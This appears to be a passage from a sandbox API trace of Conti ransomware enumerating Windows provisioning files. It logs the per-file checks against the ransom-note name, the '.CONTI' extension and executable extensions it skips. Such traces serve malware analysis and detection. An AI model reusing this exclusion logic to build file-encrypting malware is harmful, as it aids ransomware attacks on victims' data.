	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.003] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.003] lstrlenW (lpString="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml") returned 67
	[0109.003] GetProcessHeap () returned 0x1720000
	[0109.003] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6b70ef0
	[0109.003] lstrcpyW (in: lpString1=0x6b70ef0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.003] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.003] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml"
	[0109.003] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="266__C~1.PRO")) returned 1
	[0109.003] lstrcmpiW (lpString1="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.003] lstrcmpiW (lpString1="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.003] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.003] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.003] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.003] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.003] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.004] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.004] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.004] StrStrIW (lpFirst="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.004] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.004] lstrlenW (lpString="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.004] GetProcessHeap () returned 0x1720000
	[0109.004] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6b73e10
	[0109.004] lstrcpyW (in: lpString1=0x6b73e10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.004] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.004] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml"
	[0109.004] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="267__C~1.PRO")) returned 1
	[0109.004] lstrcmpiW (lpString1="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.004] lstrcmpiW (lpString1="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.004] StrStrIW (lpFirst="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.004] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.004] lstrlenW (lpString="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.004] GetProcessHeap () returned 0x1720000
	[0109.004] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bcbc8
	[0109.004] lstrcpyW (in: lpString1=0x17bcbc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.004] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.004] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.004] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="268__C~1.PRO")) returned 1
	[0109.004] lstrcmpiW (lpString1="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.004] lstrcmpiW (lpString1="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.005] StrStrIW (lpFirst="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.005] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.005] lstrlenW (lpString="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.005] GetProcessHeap () returned 0x1720000
	[0109.005] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b720e0
	[0109.005] lstrcpyW (in: lpString1=0x6b720e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.005] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.005] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml"
	[0109.005] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="269__C~1.PRO")) returned 1
	[0109.005] lstrcmpiW (lpString1="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.005] lstrcmpiW (lpString1="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.005] StrStrIW (lpFirst="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.005] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.005] lstrlenW (lpString="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.005] GetProcessHeap () returned 0x1720000
	[0109.005] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bccf0
	[0109.005] lstrcpyW (in: lpString1=0x17bccf0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.005] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.005] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.006] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="26__CO~1.PRO")) returned 1
	[0109.006] lstrcmpiW (lpString1="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.006] lstrcmpiW (lpString1="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.006] StrStrIW (lpFirst="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.006] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.006] lstrlenW (lpString="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned 61
	[0109.006] GetProcessHeap () returned 0x1720000
	[0109.006] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e1330
	[0109.006] lstrcpyW (in: lpString1=0x17e1330, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.006] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.006] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.006] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x317, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="270__C~1.PRO")) returned 1
	[0109.006] lstrcmpiW (lpString1="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.006] lstrcmpiW (lpString1="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.006] StrStrIW (lpFirst="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.006] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.006] lstrlenW (lpString="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.006] GetProcessHeap () returned 0x1720000
	[0109.006] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b72228
	[0109.006] lstrcpyW (in: lpString1=0x6b72228, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.007] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.007] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml"
